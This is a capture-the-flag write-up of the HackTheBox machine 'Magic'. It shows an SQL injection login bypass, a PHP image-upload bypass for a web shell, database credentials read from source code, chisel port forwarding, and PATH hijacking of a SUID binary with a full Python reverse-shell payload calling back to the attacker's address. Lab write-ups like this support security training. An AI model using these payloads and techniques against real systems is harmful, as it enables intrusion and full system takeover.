Magic is a medium-rated HackTheBox machine which involved taking advantage of a PHP insecure upload vulnerability to upload a web shell, forwarding a local port to gain access to the MySQL instance running on localhost, using plaintext credentials found in the PHP source code, and finally elevating privileges to root with path hijacking and a SUID binary.

Port scan

Let’s start with port scan for all tcp ports with service/version detection.

$ nmap -p- -sV --max-retries 0 -oA nmap/full 10.10.10.185
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))

SQL Injection and Auth Bypass

On port 80, there’s a web application that looks like an image hosting website. At the bottom of the homepage, there’s a paragraph that suggests that we can upload images once we are authenticated, with a link to the login page.

The login form at: http://10.10.10.185/login.php has a SQLi vulneraibility, which means that the authentication can be easily be bypassed by changing the POST request body as follows:

username=admin'+OR+1=1--+-&password=foo

Once authenticated, we discover a page which allows the upload of images.

Foothold

PHP Insecure Upload

We can start by uploading a few files, and try to understand how the upload functionality works, and what checks are in place to determine if a file can be uploaded or not.

  • The web app is rejecting files that doesn’t end with .png, .jpg or jpeg.
  • The web app is checking the magic bytes of the uploaded file to determine if that’s an image.
  • All the uploaded files are stored in the images/uploads/ directory, with the same name.

But, and that’s where the vulnerability resides, …

  • The web app is not rejecting files the contains .php.<image_extension>. This isn’t a vulnerability per se, unless (like in this case) the web server is misconfigured to interpret all the files that contains .php intead of just the one that ends with .php.
  • The web app doesn’t check for the declared content-type in the multipart request body

So we can upload a simple JPEG image, intercept the request, remove everything except for the magic bytes (we don’t need to be super precise), and add the PHP code for a reverse shell payload.

The shell can be triggered by visiting the following URL: http://10.10.10.185/images/uploads/rsh3.php.jpeg

Shell as www-data received

nc -lnvp 7001
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::7001
Ncat: Listening on 0.0.0.0:7001
Ncat: Connection from 10.10.10.185.
Ncat: Connection from 10.10.10.185:42744.
Linux ubuntu 5.3.0-42-generic #34~18.04.1-Ubuntu SMP Fri Feb 28 13:42:26 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
...[snippet]...

$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Enumeration

Using grep we can search for database credentials which are used by the PHP web application to connect to the DB.

$ grep -ir "DB" .
[...]
./db.php5:    private static $dbName = 'Magic' ;
./db.php5:    private static $dbHost = 'localhost' ;
./db.php5:    private static $dbUsername = 'theseus';
./db.php5:    private static $dbUserPassword = 'iamkingtheseus';
[...]

theseus is also a user on the box

$ cat /etc/passwd | grep "theseus"
theseus:x:1000:1000:Theseus,,,:/home/theseus:/bin/bash

Before using su to switch user, we need to upgrade the shell to a full tty.

$ python3 -c 'import pty;pty.spawn("/bin/bash");'
stty raw -echo;fg
reset
export TERM=screen
www-data@ubuntu:/$ /bin/bash

Unfortunately (for us) theseus used a different password for his account on the box, then the one he uses for accessing the MySQL database, which means that for now we can’t switch to user theseus.

www-data@ubuntu:/$ su - theseus
Password:
su: Authentication failure

Reverse Port Forwarding

There’s MySQL instance listening on localhost:3306. We can setup port forwarding with chiesel and forward port 3306 for MySQL running on localhost, to our attacker machine.

# From attacker machine
mv ./chisel_1.4.0_linux_amd64 chiesel
./chisel server -p 8081 --reverse --host 10.10.14.221
2020/04/19 14:29:00 server: Reverse tunnelling enabled
2020/04/19 14:29:00 server: Fingerprint 19:72:77:8b:84:61:1e:61:...
2020/04/19 14:29:00 server: Listening on 10.10.14.221:8081...

After uploading the chiesel 64-bit_amd binary to the server, we can forward the local port 3306 to port 9906 on our attacker machine.

www-data@ubuntu:/tmp$ ./chiesel client 10.10.14.221:8081 R:9906:127.0.0.1:3306

MySQL login

We can login into the database using the credentials found in db.php5 config file.

mysql -h 127.0.0.1 -P 9906 -u theseus -p
Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 2449
Server version: 5.7.29-0ubuntu0.18.04.1 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| Magic              |
+--------------------+
2 rows in set (0.074 sec)

MySQL [(none)]> use Magic
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MySQL [Magic]> show tables;
+-----------------+
| Tables_in_Magic |
+-----------------+
| login           |
+-----------------+
1 row in set (0.092 sec)

MySQL [Magic]> SELECT * from login;
+----+----------+----------------+
| id | username | password       |
+----+----------+----------------+
|  1 | admin    | Th3s3usW4sK1ng |
+----+----------+----------------+
1 row in set (0.115 sec)

MySQL [Magic]> exit

The login table in the Magic database, contains a plaintext password.

Privilege Escalation to user theseus

The password of user admin (Th3s3usW4sK1ng) in the database is the password of user theseus on the box.

We can then switch to user theseus and read the user flag.

www-data@ubuntu:/$ su - theseus
Password:
theseus@ubuntu:~$ ls
Desktop    Downloads  Pictures  Templates  Videos
Documents  Music      Public    user.txt
theseus@ubuntu:~$ cat user.txt
7e6bf73d855f960f5[...]

Enumeration

We can use find to search for files owned by root, with the SUID bit set.

theseus@ubuntu:~$ find -type f -user root -perm /u=s 2>/dev/null

[...]
./bin/sysinfo
./bin/mount
./bin/su
./bin/chmod
./bin/ping

/bin/sysinfo is interesting because it’s not a default binary on Linux installations.

We can get an approximate idea of what commands the sysinfo binary is running, by dumping its content with strings.

theseus@ubuntu:~$ strings /bin/sysinfo

[...]

popen() failed!
====================Hardware Info====================
lshw -short
====================Disk Info====================
fdisk -l
====================CPU Info====================
cat /proc/cpuinfo
====================MEM Usage=====================
free -h
;*3$"
zPLR
GCC: (Ubuntu 7.4.0-1ubuntu1~18.04.1) 7.4.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux

[...]

Privilege Escalation to root

lshw and fdisk are not called using their absolute path. Being sysinfo a SUID binary owned by root, we can easily prepend the path of a directory we have write access to $PATH, and write a reverse shell payload into that directory, called for instance fdisk.

theseus@ubuntu:~$ mkdir tmp && cd tmp
theseus@ubuntu:~$ echo > fdisk
theseus@ubuntu:~$ vi fdisk

Payload:

/usr/bin/python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.221",7002));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

After starting a listener to catch the reverse shell, we just need to run sysinfo and wait for the connection.

theseus@ubuntu:~/tmp$ PATH=/home/theseus/tmp:$PATH
theseus@ubuntu:~/tmp$ /bin/sysinfo

And we are root!

nc -lnvp 7002
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::7002
Ncat: Listening on 0.0.0.0:7002
Ncat: Connection from 10.10.10.185.
Ncat: Connection from 10.10.10.185:45260.
# id
uid=0(root) gid=0(root) groups=0(root),100(users),1000(theseus)
# cat root.txt
e7b36a66b306162f7[...]